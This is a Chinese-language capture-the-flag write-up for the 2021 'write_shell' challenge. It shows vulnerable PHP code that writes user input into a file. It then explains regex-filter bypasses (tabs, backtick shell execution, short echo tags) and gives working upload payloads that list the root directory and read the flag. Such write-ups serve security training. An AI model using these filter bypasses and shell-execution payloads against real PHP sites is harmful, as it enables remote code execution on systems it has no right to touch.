[红明谷CTF 2021]write_shell

1

看到一个url

image-20260202144847654

得到地址:

sandbox/331f5a2fec4659f9c8cd3a470a780b69/


源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
//正则需要绕过
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}

function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
//上传内容
}
?>

注意点:

1.file_get_contents()和file_put_contents()

前者为读取,后者为写入

1
2
3
4
5
file_put_contents("$dir" . "index.php", $data);	

file_put_contents($filename, $data);
$filename(第一个参数):存入文件的路径和名字->sandbox/331f5a2fec4659f9c8cd3a470a780b69/index.php
$data(第二个参数):存入内容->$data

2. 正则绕过

2.1 空格->\t制表符

2.2 绕过eval

->``【反引号为执行运算符(Execution Operator)

PHP 中把一段文字放在反引号里时,

PHP 会尝试将这段文字当作**操作系统的命令行(Shell)**来执行,并返回执行后的结果。

2.3 绕过php和;

->

image-20260202154519524


步骤:写入文件+打开文件

构造payload:

1
?action=upload&data=<?=`ls\t/`?>

查看文件:

1
2
3
sandbox/331f5a2fec4659f9c8cd3a470a780b69/index.php

bin boot dev etc flllllll1112222222lag home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var

然后你能在这个url下看到一个文件 flllllll1112222222lag

继续改变命令

1
?action=upload&data=<?=`cat\tflllllll1112222222lag`?>

image-20260202155947819